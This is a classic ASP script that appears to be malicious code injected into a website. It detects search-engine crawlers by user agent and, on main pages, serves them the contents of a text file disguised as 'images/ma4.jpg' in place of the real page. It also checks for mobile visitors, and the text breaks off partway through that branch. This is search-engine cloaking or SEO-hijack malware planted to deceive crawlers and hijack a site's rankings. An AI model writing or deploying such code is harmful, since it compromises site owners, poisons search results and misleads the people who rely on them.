<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("baiduspider","google","sogou","soso","360","so","yahoo","yisou","haosou","youdao","bing")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
Function IsMobileDevice()
Dim userAgent
userAgent = Request.ServerVariables("HTTP_USER_AGENT")
Dim mobileDevices
mobileDevices = Array("iPhone", "Android", "webOS", "BlackBerry", "iPod", "Opera Mini", "Windows Phone", "Mobile")
Dim i
For i = LBound(mobileDevices) To UBound(mobileDevices)
If InStr(LCase(userAgent), LCase(mobileDevices(i))) > 0 Then
IsMobileDevice = True
Exit Function
End If
Next
IsMobileDevice = False
End Function
function mainpage()
dim mainindex,n,pagearray,indexquery,i
mainindex=LCase(request.ServerVariables("SCRIPT_NAME"))
indexquery=LCase(request.ServerVariables("QUERY_STRING"))
mainpage= false
pagearray=array("/index.","/default.","/main.","/m","/wap","/3g")
for i=0 to ubound(pagearray)
if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true
next
end function
if isspider() and mainpage() then
dim mfso,mfileurl,mfilecon,wfile
mfileurl=Server.MapPath("images/ma4.jpg")
Set mfso=Server.CreateObject("Scripting.FileSystemObject")
if mfso.FileExists(mfileurl) then
Set wfile=mfso.OpenTextFile(mfileurl, 1)
mfilecon=wfile.readAll
response.clear
response.write(mfilecon)
response.write("")
response.flush
wfile.Close
Set wfile=Nothing
Set mfso=Nothing
response.end
else
response.write("fn")
end if
end if
if (IsMobileDevice() and mainpage()) then
response.clear
response.write("